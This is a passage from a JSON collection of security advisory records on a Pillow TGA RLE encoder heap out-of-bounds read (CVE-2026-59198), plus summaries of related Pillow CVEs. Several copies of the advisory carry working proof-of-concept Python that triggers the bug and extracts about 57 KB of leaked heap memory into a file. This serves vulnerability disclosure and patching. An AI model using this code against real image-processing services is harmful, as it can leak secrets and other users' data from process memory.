PIL import Image\n\nout = io.BytesIO()\nImage.new(\"1\", (2, 1)).save(out, format=\"TGA\", compression=\"tga_rle\")\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nREAD of size 1\ncomparePixels /out/src/src/libImaging/TgaRleEncode.c:10\nImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81\n0 bytes after a 1-byte allocation from _setimage\n```\n\n#### Maximum-width heap disclosure\n\nThis PoC uses one maximum-width row. It parses the generated TGA packets and\nextracts only payload bytes whose source offsets were outside the allocated\npacked row. Rows are  avoided because they mostly repeat the same adjacent heap window.\n\nRun the following with a standard affected Pillow installation.\n\n```python\nimport hashlib\nimport io\nimport PIL\nfrom PIL import Image\n\nWIDTH = 65535\nATTEMPTS = 20\nROW_BYTES = (WIDTH + 7) // 8\nMAX_OOB_WINDOW = WIDTH - ROW_BYTES\n\ndef extract_oob_payload(data):\n    i = 18\n    pixel = 0\n    oob = bytearray()\n\n    while pixel \u003c WIDTH:\n        descriptor = data[i]\n        i += 1\n        count = (descriptor \u0026 0x7F) + 1\n\n        if descriptor \u0026 0x80:\n            value = data[i]\n            i += 1\n            if pixel + count - 1 \u003e= ROW_BYTES:\n                oob.append(value)\n        else:\n            values = data[i : i + count]\n            i += count\n            oob.extend(values[max(ROW_BYTES - pixel, 0) :])\n\n        pixel += count\n\n    return bytes(oob)\n\n\nbest = b\"\"\n\nfor _ in range(ATTEMPTS):\n    out = io.BytesIO()\n    Image.new(\"1\", (WIDTH, 1), 0).save(out, format=\"TGA\", compression=\"tga_rle\")\n    oob = extract_oob_payload(out.getvalue())\n    if len(oob) \u003e len(best):\n        best = oob\n\nwith open(\"/tmp/max_oob_bytes.bin\", \"wb\") as fp:\n    fp.write(best)\n\nprint(f\"Pillow={PIL.__version__}\")\nprint(f\"packed_row_bytes={ROW_BYTES}\")\nprint(f\"maximum_oob_window={MAX_OOB_WINDOW}\")\nprint(f\"serialized_distinct_oob_offsets={len(best)}\")\nprint(f\"nonzero_oob_bytes={sum(byte != 0 for byte in best)}\")\nprint(f\"coverage={len(best) / MAX_OOB_WINDOW:.2%}\")\nprint(f\"sha256={hashlib.sha256(best).hexdigest()}\")\n```\n\nObserved on installed Pillow `12.2.0`:\n\n```text\nPillow=12.2.0\npacked_row_bytes=8192\nmaximum_oob_window=57343\nserialized_distinct_oob_offsets=57297\nnonzero_oob_bytes=54407\ncoverage=99.92%\n```\n\n### Impact\n\nThis is a heap out-of-bounds read and potential information disclosure.\n\nA maximum-width single-row image can cause nearly the full\n`57343`-byte adjacent heap window to be incorporated into one output file.","status":"published","published":"2026-07-20T23:09:36Z","modified":"2026-07-20T23:09:36Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L","level":"medium"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T14:40:48.410776Z"}],"nvd":[{"id":"CVE-2026-59198","description":"Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-14T16:17:01.797Z","modified":"2026-10-24T21:10:00.13Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T14:12:29.114188Z"}],"osv":[{"id":"CVE-2026-59198","title":"Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images","description":"Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-14T16:07:56.562Z","modified":"2026-10-28T02:30:31.732403776Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L","level":"medium"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T15:45:12.496548Z"},{"id":"DEBIAN-CVE-2026-59198","description":"Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-14T16:17:01.797Z","modified":"2026-10-25T10:01:12.33767169Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:45:57.932517Z"},{"id":"GHSA-fj7v-r99m-22gq","title":"Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images","description":"### Summary\n\nPillow's TGA RLE encoder reads past its row buffer when saving a mode `\"1\"`\nimage. Adjacent process heap bytes can be copied into the generated TGA file.\n\nThe bug is reachable through the public save API:\n\n```python\nim.save(out, format=\"TGA\", compression=\"tga_rle\")\n```\n\nOlder affected Pillow versions use the equivalent public option `rle=True`.\n\nFor mode `\"1\"`, Pillow allocates a packed row buffer of `ceil(width / 8)`\nbytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel.\n\nThe maximum valid TGA width is `65535`. At that width:\n\n```text\nallocated packed row buffer: 8192 bytes\nencoder byte-offset walk:     65535 bytes\nmaximum OOB window per row:   57343 bytes\n```\n\nOn non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below serialized\n`57297` bytes from distinct out-of-bounds source offsets into one returned TGA,\ncovering `99.92%` of the maximum adjacent heap window. No heap grooming, ctypes,\nprivate API, or malformed input file was used. The disclosure is emitted across\nmany TGA packet payload copies of at most `128` bytes each, not one large\n`memcpy()`.\n\n### Details\n\n`src/PIL/TgaImagePlugin.py` allows mode `\"1\"` TGA output and selects the\n`tga_rle` encoder when RLE compression is requested.\n\n`src/encode.c:_setimage()` allocates the row buffer using the packed-bit\nformula:\n\n```c\nstate-\u003ebytes = (state-\u003ebits * state-\u003exsize + 7) / 8;\nstate-\u003ebuffer = (UINT8 *)calloc(1, state-\u003ebytes);\n```\n\nFor mode `\"1\"`, `state-\u003ebits == 1`.\n\n`src/libImaging/TgaRleEncode.c` then computes:\n\n```c\nbytesPerPixel = (state-\u003ebits + 7) / 8;\n```\n\nThis becomes `1`, and the encoder uses pixel indexes as byte offsets:\n\n```c\nstatic int\ncomparePixels(const UINT8 *buf, int x, int bytesPerPixel) {\n    buf += x * bytesPerPixel;\n    return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;\n}\n```\n\nThe packet payload `memcpy()` later copies those out-of-bounds source bytes into\nthe output. Raw packets copy up to `128` contiguous bytes, while RLE packets copy\none representative byte:\n\n```c\nmemcpy(\n    dst, state-\u003ebuffer + (state-\u003ex * bytesPerPixel - state-\u003ecount), flushCount\n);\n```\n\nA width-2 mode `\"1\"` image allocates one row byte and already triggers an ASAN\nheap-buffer-overflow read. Wider images increase the adjacent heap window and\nthe amount of heap data that can be serialized.\n\n### PoC\n\n#### Minimal ASAN trigger\n\n```python\nimport io\nfrom PIL import Image\n\nout = io.BytesIO()\nImage.new(\"1\", (2, 1)).save(out, format=\"TGA\", compression=\"tga_rle\")\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nREAD of size 1\ncomparePixels /out/src/src/libImaging/TgaRleEncode.c:10\nImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81\n0 bytes after a 1-byte allocation from _setimage\n```\n\n#### Maximum-width heap disclosure\n\nThis PoC uses one maximum-width row. It parses the generated TGA packets and\nextracts only payload bytes whose source offsets were outside the allocated\npacked row. Rows are  avoided because they mostly repeat the same adjacent heap window.\n\nRun the following with a standard affected Pillow installation.\n\n```python\nimport hashlib\nimport io\nimport PIL\nfrom PIL import Image\n\nWIDTH = 65535\nATTEMPTS = 20\nROW_BYTES = (WIDTH + 7) // 8\nMAX_OOB_WINDOW = WIDTH - ROW_BYTES\n\ndef extract_oob_payload(data):\n    i = 18\n    pixel = 0\n    oob = bytearray()\n\n    while pixel \u003c WIDTH:\n        descriptor = data[i]\n        i += 1\n        count = (descriptor \u0026 0x7F) + 1\n\n        if descriptor \u0026 0x80:\n            value = data[i]\n            i += 1\n            if pixel + count - 1 \u003e= ROW_BYTES:\n                oob.append(value)\n        else:\n            values = data[i : i + count]\n            i += count\n            oob.extend(values[max(ROW_BYTES - pixel, 0) :])\n\n        pixel += count\n\n    return bytes(oob)\n\n\nbest = b\"\"\n\nfor _ in range(ATTEMPTS):\n    out = io.BytesIO()\n    Image.new(\"1\", (WIDTH, 1), 0).save(out, format=\"TGA\", compression=\"tga_rle\")\n    oob = extract_oob_payload(out.getvalue())\n    if len(oob) \u003e len(best):\n        best = oob\n\nwith open(\"/tmp/max_oob_bytes.bin\", \"wb\") as fp:\n    fp.write(best)\n\nprint(f\"Pillow={PIL.__version__}\")\nprint(f\"packed_row_bytes={ROW_BYTES}\")\nprint(f\"maximum_oob_window={MAX_OOB_WINDOW}\")\nprint(f\"serialized_distinct_oob_offsets={len(best)}\")\nprint(f\"nonzero_oob_bytes={sum(byte != 0 for byte in best)}\")\nprint(f\"coverage={len(best) / MAX_OOB_WINDOW:.2%}\")\nprint(f\"sha256={hashlib.sha256(best).hexdigest()}\")\n```\n\nObserved on installed Pillow `12.2.0`:\n\n```text\nPillow=12.2.0\npacked_row_bytes=8192\nmaximum_oob_window=57343\nserialized_distinct_oob_offsets=57297\nnonzero_oob_bytes=54407\ncoverage=99.92%\n```\n\n### Impact\n\nThis is a heap out-of-bounds read and potential information disclosure.\n\nA maximum-width single-row image can cause nearly the full\n`57343`-byte adjacent heap window to be incorporated into one output file.","status":"published","published":"2026-07-20T23:09:36Z","modified":"2026-09-10T03:50:51.891240357Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L","level":"medium"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T15:46:46.39441Z"},{"id":"OESA-2026-3141","title":"python-pillow security update","description":"Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \\ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift.    of CVE-2022-22815,CVE-2022-22816)\r\n\r\nSecurity Fix(es):\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new(\u0026quot;1\u0026quot;, (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow\u0026apos;s documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)\n\nPillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow\u0026apos;s TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)\n\nPillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)","status":"published","published":"2026-07-24T11:12:01Z","modified":"2026-08-18T01:21:25.227036325Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"OESA-2026-3185","title":"python-pillow security update","description":"Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \\ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift.    of CVE-2022-22815,CVE-2022-22816)\r\n\r\nSecurity Fix(es):\n\nPillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow\u0026apos;s public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)\n\nPillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow\u0026apos;s TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow\u0026apos;s ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform\u0026apos;s declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)","status":"published","published":"2026-08-01T11:12:03Z","modified":"2026-08-18T01:21:24.878100179Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"OESA-2026-3187","title":"python-pillow security update","description":"Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \\ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift.    of CVE-2022-22815,CVE-2022-22816)\r\n\r\nSecurity Fix(es):\n\nPillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)\n\nPillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow\u0026apos;s TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow\u0026apos;s ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform\u0026apos;s declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)","status":"published","published":"2026-08-01T11:12:03Z","modified":"2026-08-18T01:21:24.840350524Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"OESA-2026-3188","title":"python-pillow security update","description":"Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \\ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift.    of CVE-2022-22815,CVE-2022-22816)\r\n\r\nSecurity Fix(es):\n\nPillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)\n\nPillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow\u0026apos;s TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow\u0026apos;s ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform\u0026apos;s declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)","status":"published","published":"2026-08-01T11:12:03Z","modified":"2026-08-18T01:21:24.801015885Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"OESA-2026-3189","title":"python-pillow security update","description":"Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \\ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift.    of CVE-2022-22815,CVE-2022-22816)\r\n\r\nSecurity Fix(es):\n\nPillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow\u0026apos;s public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)\n\nPillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow\u0026apos;s TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow\u0026apos;s ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform\u0026apos;s declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)","status":"published","published":"2026-08-01T11:12:03Z","modified":"2026-08-18T01:21:24.845114325Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"PYSEC-2026-3494","title":"Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images","description":"### Summary\n\nPillow's TGA RLE encoder reads past its row buffer when saving a mode `\"1\"`\nimage. Adjacent process heap bytes can be copied into the generated TGA file.\n\nThe bug is reachable through the public save API:\n\n```python\nim.save(out, format=\"TGA\", compression=\"tga_rle\")\n```\n\nOlder affected Pillow versions use the equivalent public option `rle=True`.\n\nFor mode `\"1\"`, Pillow allocates a packed row buffer of `ceil(width / 8)`\nbytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel.\n\nThe maximum valid TGA width is `65535`. At that width:\n\n```text\nallocated packed row buffer: 8192 bytes\nencoder byte-offset walk:     65535 bytes\nmaximum OOB window per row:   57343 bytes\n```\n\nOn non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below serialized\n`57297` bytes from distinct out-of-bounds source offsets into one returned TGA,\ncovering `99.92%` of the maximum adjacent heap window. No heap grooming, ctypes,\nprivate API, or malformed input file was used. The disclosure is emitted across\nmany TGA packet payload copies of at most `128` bytes each, not one large\n`memcpy()`.\n\n### Details\n\n`src/PIL/TgaImagePlugin.py` allows mode `\"1\"` TGA output and selects the\n`tga_rle` encoder when RLE compression is requested.\n\n`src/encode.c:_setimage()` allocates the row buffer using the packed-bit\nformula:\n\n```c\nstate-\u003ebytes = (state-\u003ebits * state-\u003exsize + 7) / 8;\nstate-\u003ebuffer = (UINT8 *)calloc(1, state-\u003ebytes);\n```\n\nFor mode `\"1\"`, `state-\u003ebits == 1`.\n\n`src/libImaging/TgaRleEncode.c` then computes:\n\n```c\nbytesPerPixel = (state-\u003ebits + 7) / 8;\n```\n\nThis becomes `1`, and the encoder uses pixel indexes as byte offsets:\n\n```c\nstatic int\ncomparePixels(const UINT8 *buf, int x, int bytesPerPixel) {\n    buf += x * bytesPerPixel;\n    return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;\n}\n```\n\nThe packet payload `memcpy()` later copies those out-of-bounds source bytes into\nthe output. Raw packets copy up to `128` contiguous bytes, while RLE packets copy\none representative byte:\n\n```c\nmemcpy(\n    dst, state-\u003ebuffer + (state-\u003ex * bytesPerPixel - state-\u003ecount), flushCount\n);\n```\n\nA width-2 mode `\"1\"` image allocates one row byte and already triggers an ASAN\nheap-buffer-overflow read. Wider images increase the adjacent heap window and\nthe amount of heap data that can be serialized.\n\n### PoC\n\n#### Minimal ASAN trigger\n\n```python\nimport io\nfrom PIL import Image\n\nout = io.BytesIO()\nImage.new(\"1\", (2, 1)).save(out, format=\"TGA\", compression=\"tga_rle\")\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nREAD of size 1\ncomparePixels /out/src/src/libImaging/TgaRleEncode.c:10\nImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81\n0 bytes after a 1-byte allocation from _setimage\n```\n\n#### Maximum-width heap disclosure\n\nThis PoC uses one maximum-width row. It parses the generated TGA packets and\nextracts only payload bytes whose source offsets were outside the allocated\npacked row. Rows are  avoided because they mostly repeat the same adjacent heap window.\n\nRun the following with a standard affected Pillow installation.\n\n```python\nimport hashlib\nimport io\nimport PIL\nfrom PIL import Image\n\nWIDTH = 65535\nATTEMPTS = 20\nROW_BYTES = (WIDTH + 7) // 8\nMAX_OOB_WINDOW = WIDTH - ROW_BYTES\n\ndef extract_oob_payload(data):\n    i = 18\n    pixel = 0\n    oob = bytearray()\n\n    while pixel \u003c WIDTH:\n        descriptor = data[i]\n        i += 1\n        count = (descriptor \u0026 0x7F) + 1\n\n        if descriptor \u0026 0x80:\n            value = data[i]\n            i += 1\n            if pixel + count - 1 \u003e= ROW_BYTES:\n                oob.append(value)\n        else:\n            values = data[i : i + count]\n            i += count\n            oob.extend(values[max(ROW_BYTES - pixel, 0) :])\n\n        pixel += count\n\n    return bytes(oob)\n\n\nbest = b\"\"\n\nfor _ in range(ATTEMPTS):\n    out = io.BytesIO()\n    Image.new(\"1\", (WIDTH, 1), 0).save(out, format=\"TGA\", compression=\"tga_rle\")\n    oob = extract_oob_payload(out.getvalue())\n    if len(oob) \u003e len(best):\n        best = oob\n\nwith open(\"/tmp/max_oob_bytes.bin\", \"wb\") as fp:\n    fp.write(best)\n\nprint(f\"Pillow={PIL.__version__}\")\nprint(f\"packed_row_bytes={ROW_BYTES}\")\nprint(f\"maximum_oob_window={MAX_OOB_WINDOW}\")\nprint(f\"serialized_distinct_oob_offsets={len(best)}\")\nprint(f\"nonzero_oob_bytes={sum(byte != 0 for byte in best)}\")\nprint(f\"coverage={len(best) / MAX_OOB_WINDOW:.2%}\")\nprint(f\"sha256={hashlib.sha256(best).hexdigest()}\")\n```\n\nObserved on installed Pillow `12.2.0`:\n\n```text\nPillow=12.2.0\npacked_row_bytes=8192\nmaximum_oob_window=57343\nserialized_distinct_oob_offsets=57297\nnonzero_oob_bytes=54407\ncoverage=99.92%\n```\n\n### Impact\n\nThis is a heap out-of-bounds read and potential information disclosure.\n\nA maximum-width single-row image can cause nearly the full\n`57343`-byte adjacent heap window to be incorporated into one output file.","status":"published","published":"2026-07-23T11:41:47.966667Z","modified":"2026-07-23T15:11:28.382441947Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:56.847083Z"},{"id":"UBUNTU-CVE-2026-59198","description":"Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-14T16:17:00Z","modified":"2026-09-03T10:15:03.733641271Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L","level":"medium"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T16:56:41.911783Z"},{"id":"BIT-pillow-2026-59198","title":"Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images","description":"Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-15T08:54:57.6Z","modified":"2026-09-08T08:48:18.557306909Z","updated_at":"2026-11-02T15:28:34.724063Z"},{"id":"CLSA-2026-1786468070","title":"TuxCare security update for pillow (5 CVEs)","description":"TuxCare rebuilt pillow to address 5 CVEs. Fixed in 11.2.1.post3+tuxcare.","status":"published","published":"2026-08-11T17:07:50Z","modified":"2026-10-15T09:48:05.272604182Z","updated_at":"2026-11-02T15:43:46.850893Z"},{"id":"CLSA-2026-1790674233","title":"TuxCare security update for pillow (14 CVEs)","description":"TuxCare rebuilt pillow to address 14 CVEs. Fixed in 11.3.0.post5+tuxcare.","status":"published","published":"2026-09-29T09:30:33Z","modified":"2026-10-15T09:48:02.144374386Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790685259","title":"TuxCare security update for pillow (4 CVEs)","description":"TuxCare rebuilt pillow to address 4 CVEs. Fixed in 10.4.0.post10+tuxcare.","status":"published","published":"2026-09-29T12:34:19Z","modified":"2026-10-15T09:48:02.378583101Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790747347","title":"TuxCare security update for pillow (4 CVEs)","description":"TuxCare rebuilt pillow to address 4 CVEs. Fixed in 9.5.0.post8+tuxcare.","status":"published","published":"2026-09-30T05:49:07Z","modified":"2026-10-15T09:48:02.384794473Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790751826","title":"TuxCare security update for pillow (4 CVEs)","description":"TuxCare rebuilt pillow to address 4 CVEs. Fixed in 